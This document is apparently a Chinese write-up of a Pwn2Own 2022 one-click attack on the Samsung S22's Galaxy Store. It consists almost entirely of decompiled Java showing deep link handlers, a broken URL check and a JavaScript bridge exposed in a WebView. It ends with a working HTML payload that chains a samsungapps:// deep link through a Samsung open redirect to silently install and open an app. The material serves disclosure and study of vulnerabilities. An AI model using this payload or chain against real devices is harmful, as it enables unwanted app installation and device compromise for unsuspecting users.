旧漏洞、新漏洞与绕过——Pwn2Own 2022中一键/开放重定向控制三星S22

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

public class GearBetaTestProductListDeepLink extends DeepLink {
    public boolean runDeepLink(Context p0){
        this.runDeepLinkImplement(p0);
        return true;
    }
    private void runDeepLinkImplement(Context p0){
        int i;
        Intent intent = new Intent(p0, GearAppBetaTestActivity.class);
        this.registerActivityToBixby(intent);
        String str = "DeeplinkURI";
        if (!TextUtils.isEmpty(this.getDeeplinkUrl())) {
            i = 0;
            try{
                String str1 = URLDecoder.decode(this.getDeeplinkUrl(), "UTF-8");
            }catch(java.io.UnsupportedEncodingException e4){
                e4.printStackTrace();
            }
            if (!TextUtils.isEmpty(i)) {
                intent.putExtra(str, i);
            }
        }else {
            intent.putExtra(str, this.a());
        }
        i = 0x24000000;
        try{
            intent.setFlags(i);
            p0.startActivity(intent);
        }catch(java.lang.Exception e7){
            ///
        }
        return;
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

public boolean isValidUrl(String str) {
    boolean z = this.extra_is_deeplink;
    if (z) {
        if (z && !TextUtils.isEmpty(str)) {
            if (!str.startsWith(Global.getInstance().getDocument().getGetCommonInfoManager().getMcsWebDomain() + "/")) {
                if (str.startsWith(Global.getInstance().getDocument().getGetCommonInfoManager().getGmpWebDomain() + "/") || str.startsWith("https://img.samsungapps.com/")) {
                }
            }
        }
        return false;
    }
    return true;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

//McsWebViewActivity
private void a(WebSettings p0,String p1){
    p0.setJavaScriptEnabled(true);
    EditorialScriptInterface uEditorialSc = new EditorialScriptInterface(this, this.webView);
    this.webView.addJavascriptInterface(uEditorialSc, "GalaxyStore");
}
//EditorialScriptInterface
public void downloadApp(String p0){
    ///
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

public boolean shouldOverrideUrlLoading(WebView webView, String str) {
    Loger.d(MCSApi.LOG_TAG, "shouldOverrideUrlLoading : " + str);
    if (webView == null || webView.getContext() == null || TextUtils.isEmpty(str)) {
        return super.shouldOverrideUrlLoading(webView, str);
    }
    Uri parse = Uri.parse(str);
    String scheme = parse.getScheme();
    String host = parse.getHost();
    if ("intent".equalsIgnoreCase(scheme)) {
        //...
    } else if ("samsungapps".equalsIgnoreCase(scheme) && "launch".equalsIgnoreCase(host)) {
        //...
    } else if ("samsungapps".equalsIgnoreCase(scheme) && "internalweb".equalsIgnoreCase(host)) {
        //...
    } else if (!"samsungapps".equalsIgnoreCase(scheme) || !"externalweb".equalsIgnoreCase(host)) {
        return super.shouldOverrideUrlLoading(webView, str);
    } else {
        //...
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

public boolean shouldOverrideUrlLoading(WebView webView, String str) {
    if (!(str == null || str.length() == 0)) {
        Uri parse = Uri.parse(str);
        String scheme = parse.getScheme();
        String host = parse.getHost();
        if (("samsungapps".equalsIgnoreCase(scheme) || ((host.equalsIgnoreCase("apps.samsung.com") || host.equalsIgnoreCase("www.samsungapps.com")) && ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)))) && (webView.getContext() instanceof Activity) && new DeeplinkUtil((Activity) webView.getContext()).openInternalDeeplink(parse.toString())) {
            return true;
        }
        //...
    }
    return false;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

public class DetailAlleyPopupDeeplink extends DetailPageDeepLink {
    public boolean runInternalDeepLink(Context p0){
        if (!this.launchApp(p0, this.getDetailID())) {
            String detailID = this.getDetailID();
            boolean mIsStub = this.mIsStub;
            String mSignId = this.mSignId;
            String mQueryStr = this.mQueryStr;
            String adSource = this.getAdSource();
            String source = this.getSource();
            String sender = (this.isDirectInstall())? this.getSender(): "";
            DetailLaunchHelper.launch(p0, detailID, mIsStub, mSignId, mQueryStr, adSource, source, sender, this.isDirectInstall(), this.isDirectOpen(), this.deepLinkAppName, this.commonLogData, this.getDeeplinkUrl());
        }
        return true;
    }
}

1
2
3
4
5
6
7

<head>
</head>
<body>
    <b><a id="exploit" href="samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/mcp25/devops/redirect.html?mcs=kr%26product=samsungpay%26actionType=eventURL%26fallbackUrl=https://apps.samsung.com/appquery/appDetail.as%253fappId%253dcom.sec.android.app.popupcalculator%2526directInstall%253dtrue%2526directOpen%253dtrue%2526form%253dpopup">click_me</a></b>
</body>
<script>
</script>